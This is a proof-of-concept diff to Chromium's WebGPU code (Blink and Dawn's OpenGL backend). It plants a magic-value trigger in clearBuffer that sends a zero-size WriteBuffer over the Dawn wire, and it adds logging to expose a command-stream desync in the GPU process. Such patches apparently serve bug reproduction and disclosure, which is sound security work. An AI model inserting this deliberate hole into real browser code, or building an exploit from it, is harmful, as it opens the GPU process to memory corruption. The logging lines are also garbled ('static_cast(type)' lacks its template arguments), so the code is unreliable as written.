diff --git a/third_party/blink/renderer/modules/webgpu/gpu_command_encoder.h b/third_party/blink/renderer/modules/webgpu/gpu_command_encoder.h index e95fc57e545fc..e02ad8c361fee 100644 --- a/third_party/blink/renderer/modules/webgpu/gpu_command_encoder.h +++ b/third_party/blink/renderer/modules/webgpu/gpu_command_encoder.h @@ -118,6 +118,14 @@ class GPUCommandEncoder : public DawnObject { void clearBuffer(DawnObject* buffer, uint64_t offset, uint64_t size) { + // POC injection: simulate a compromised renderer sending + // CommandEncoderWriteBuffer with size==0 over the Dawn wire. + // Triggered from JS via clearBuffer(buf, 0, 0xDEAD0000). + if (size == 0xDEAD0000ULL) { + static const uint8_t kDummy = 0; + GetHandle().WriteBuffer(buffer->GetHandle(), 0, &kDummy, 0); + return; + } GetHandle().ClearBuffer(buffer->GetHandle(), offset, size); } GPUCommandBuffer* finish(const GPUCommandBufferDescriptor* descriptor); diff --git a/third_party/dawn/src/dawn/native/opengl/CommandBufferGL.cpp b/third_party/dawn/src/dawn/native/opengl/CommandBufferGL.cpp index 06245094888..340920943c5 100644 --- a/third_party/dawn/src/dawn/native/opengl/CommandBufferGL.cpp +++ b/third_party/dawn/src/dawn/native/opengl/CommandBufferGL.cpp @@ -788,6 +788,10 @@ MaybeError CommandBuffer::Execute(const OpenGLFunctions& gl) { Command type; while (mCommands.NextCommandId(&type)) { + // POC instrumentation: log every iterated command id so the desync + // (0xFFFFFFFE / -2 reaching the switch) is observable in stderr. + fprintf(stderr, "[POC] CommandBufferGL::Execute type=%d (0x%08x)\n", + static_cast(type), static_cast(type)); switch (type) { case Command::BeginComputePass: { mCommands.NextCommand();